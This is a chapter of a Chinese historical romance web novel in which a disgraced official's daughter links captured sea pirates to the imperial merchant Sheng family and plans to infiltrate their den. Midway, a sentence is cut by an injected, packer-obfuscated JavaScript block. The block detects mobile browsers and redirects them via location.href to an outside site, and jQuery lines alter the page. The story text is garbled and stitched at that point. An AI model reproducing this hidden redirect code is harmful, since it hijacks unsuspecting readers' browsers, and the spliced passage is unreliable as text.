“可是有何发现。”
见王璎盯着一匪徒沉思,王炎出声问询。
王璎回过神来,抄起立在一旁的木棍,一一挑开海匪的衣领,果不其然,内衫领口都绣有宝船浪纹。
王炎见王璎动作,明白过来,“这纹样,有何特殊之处?瞧着,有些似曾相识啊。”
“不知郎君可知浮浪城中皇商盛家?”王璎借此再次出言试探。
为寻回记忆,寻找关于自己身份的蛛丝马迹,伤初好时,王炎便摸进浮浪城查探,自是知晓盛家的。
略一思索,便想起来,“是盛家船队所用纹样。”
“不错,正是出自盛家,只是不知为何出现在这些海匪衣上。”好一个以兵充匪,原是如此。
王璎思及狱中与父亲相见时,避开狱卒耳目父亲告知自己的一切,犹言在耳。
“此次贪墨粮饷一事,来势汹汹。” 王勖佝偻着身体,咽下口中的血沫,“大殿之上,黑虎军副将吴统所言,不仅是针对王家,更是意在三皇子。”
“而与三皇子相争的,便是大皇子……”
那日,自己趁府外兵丁换值守备不严的空当偷溜出府,借崔家名义使钱打点狱卒得了一刻与狱中王家众人相见。
再回府,便是抄家流放的圣旨送到王家,再无转圜余地。
王璎心中五味杂陈,却没有时日拿来伤心,京中亲人尚等着自己搜集证据为王家翻案脱离诏狱,流放队伍也盼着早日洗刷冤屈清白归京。
屏气静心,王璎敛容,坚定意志,看向王炎,“不知郎君近来可曾听闻盛家船只为海匪所劫的消息。”
王炎回忆,不曾有过,又问林潮几人,皆言未曾听说。
不消片刻,王炎便想通其中关窍,“你的意思,这些海匪,出自盛家?”
王璎摇首,“只是有所怀疑。”
林潮几人也七嘴八舌谈论起来,“是了,盛家常常招募大批水手出海,每次回来却都只剩一二成人手,只说海上风暴,略微补偿银两便无人追究,莫不是盛家口中那些死在海上的水手都是做了海匪。”
“不敢妄言,盛家乃是皇商,背靠皇家,其妹盛贵妃圣眷正浓。”王璎适时出声。
王炎上前,与王璎比肩而立,“怕什么,这些个海匪,我可都是结结实实给打晕了,没个一晚上,是醒不过来的。”
“你既有所怀疑,想来是已有对策。”王炎想起在地库王璎应机立断提出活捉海匪火攻匪窝,如今点出海匪与盛家的关联,想来是心中早有成算。
“不错,我欲乔装打扮取代其中一海匪身份进入匪窝查探,只是此计还需郎君配合。”王璎仰头,对着王炎嫣然一笑,在朦胧月色的衬托下更显风情,好似美玉。
王炎霎时红了脸,引得林潮几人纷纷侧目。
“哇……原来老大也会脸红。”
“那肯定啊,老大也是人,又不是庙里泥捏的神仙。”
“嘿嘿,老大这样子和梁满哥娶媳妇儿的时候没两样。”
啧啧声此起彼伏。
林潮对着王炎打趣,“老大,我就说这次指定能捡着宝贝吧!”
清咳两声,王炎心虚地瞥了眼王璎,随即看向林潮,“就你小子话多。”
王璎抿嘴一笑,这些半大小子,倒是有趣,不似京中人,多是古板。
“这些海匪,夜间就置于此处么,可需着人看守?”虽裴将军言这些匪徒明日才能醒来,但为确保万无一失,还是将人看守起来更为妥当。
“不若留我在此,白日里,已昏睡多时,想来夜间定然神志清明。”王璎从袖中掏出一号哨,“不知郎君夜间身居村中何处,离此地远近如何,若是有何异动,我也好以此知会郎君。”
王炎收下号哨,却不允只让王璎跟着海波一同回地库与海珠待在一处。
“更深露重,你白日里还病着,怎好让你在这儿守着,回吧,明日再来。”王炎劝说,“你且放心,这些,我给你看牢,保管不放跑一人。”
王璎颔首,“那便有劳郎君了。”
王炎又让林潮几个也跟着一起回去,自己席地而坐,一手托腮,一手对着月光看手中的号哨。
几人簇拥着王璎朝地库的方向走去。
一路说说笑笑。
地库,海珠守在门边,翘首以盼。
林潮甫一拉开暗门,海珠便掀开木帘跑入走道,见到几人下来,“哥哥,你回来了,怎么样,可问出了什么?”海波一把抱住朝自己扑来的海珠。
从哥哥怀中出来,海珠仰首看向上方的王璎,“姐姐,你牵着绳子,我扶你下来。”
王璎握住海珠伸出的手,慢慢地在绳梯上挪步。
林潮几人走在前面,王璎海珠在他们身后,手挽着手,“多谢海珠妹妹,若不是你,这下来我还不知如何是好呢。”
“举手之劳,姐姐不必记挂。”海珠捏着衣带赫然一笑。
“怎会,妹妹事事关心我,我自当回报。”王璎已在心中筹划待事情了结,便将从前翻阅的医书抄录,交予海珠习看。
思及海珠以及地库众人对海匪海贼司空见惯,应对自如的模样,又有林潮几人在晒场所言,王璎便问海珠,“可是常有海贼海匪从海上来?”
海珠想了想,自己幼时海上并无众多海贼海匪的,还是近些年才开始有大批的亡命之徒啸聚海上作恶。
“似是近些年才开始,从前村子里很是平和,姐姐若是想知道从前的事,我带你去问村长爷爷。”说着海珠拉着王璎就要去找人。
王璎拍拍海珠肩膀,止住海珠动作,“随口一问而已,妹妹不必为了我这等小事惊扰他人。”
海珠懵懵的应下来,带着王璎回到先前的位置坐下,互相倚靠着休憩。
夜深,海珠睡熟,脑袋一点一点垂下,王璎干脆将海珠揽入怀中,轻抚背脊,待海珠重新睡安稳,王璎也闭眼假寐。
同时在心中谋划下一步路该如何走,先前计划进入浮浪城再混进盛家,如今有了更好的机会,自是从海匪入手更优,一箭双雕。
海匪众多,海上窝点自然不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594695|171773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
止一处,自己即使乔装打扮混进匪窝,又该如何彰显自身,才能从众多匪徒中脱颖而出被留意重用,进入盛家,接近盛家家主盛纪。
盛家以海外香料珍奇起家,成为海商也是在大皇子七岁,其母盛家主亲妹封妃时,今上为彰显恩宠,特赐盛家皇家采买资格,不受地方约束。
辨识香料、理账、鉴宝……这些都是盛家需要且自己精通的,从何处下手?
不知不觉,天色渐明,地库外传来鸡鸣,王璎睁开眼。
海珠躺在王璎怀中,也打着哈欠醒来,揉了揉眼睛,“姐姐?你也醒了啊,那叫上哥哥,我们出去吧。”
“好,妹妹是回家还是同我去晒场?”王璎将海珠面上的碎发拨至脑后,略作整理。
“与姐姐一道。”海珠红着脸从王璎怀中直起身。
叫上海波,与他一处的林潮几人也醒过来,便一同前往晒场。
王炎正盯着自己的黑老虎神游天际,见王璎几人来,将其重新挂回脖间。
“来了,这些人想来也该醒了,若是不醒,拿水泼就成。”王炎走到王璎身边,隔着王璎看海珠,“海波,你带海珠回去,这些个海匪都是穷凶极恶之人,不使刀子不落泪,海珠还小,见不得血。”
海珠不服气,挽着王璎胳膊,“怎么就不成了,我从小习医,刀子血,见得多了,王炎哥你别瞧不起人,那时你手臂上的腐肉还是我剜去的。”
“嘿,你个小丫头片子,不识好人心,想看那你便看着吧。”王炎摇摇头一脸无奈。
海波倒是有些担心,他昨夜可是见识过老大的狠厉,若说从前都是些小打小闹,那昨夜算是动真格了。
这些人面上瞧着好好的,其实体内的骨头都是错位的,被老大给或打或摔出来的。
回想昨夜听见一声声的“咔咔——”,海波想想就觉得痛。
便也劝道,“阿妹,不若回去吧,你昨日不还说今日要去后山种药么,哥哥陪你去。”
海珠看向王璎,“姐姐。”
王璎揉了揉海珠脑袋,“听你哥哥的话,回去吧,我且等着妹妹带我去看种出的药材呢。”
“那好吧,我回去了。”海珠跟着海波往家走,一步三回头。
待海波兄妹走出晒场,王炎指挥林潮几人打水来,对着绑在晾杆上的二十几人泼去。
匪徒一一醒来,再次见到昨夜将他们一锅端的人,纷纷怒目而视,张牙舞爪,一顿挣扎,可在感受到身上传来的阵阵痛意后,又是惊惧。
“你们是谁,好大的胆子,竟敢绑我们兄弟,知道我们是谁么,现在放了我们,我们还可以不计较你们的过错,一笔勾销,当作什么都没发生。”开口之人色厉内荏,“如若不然,你们,你们整个村子就等着接受报复吧!”
林潮闻言怒从心起,直接冲上前拳头伺候,“宵小之辈,再敢嚣张一个试试,小爷我打烂你的嘴。”
其余几人也紧跟上前跃跃欲试。
王璎见状转头看向王炎,正巧王炎也是,两人忽而相视一笑。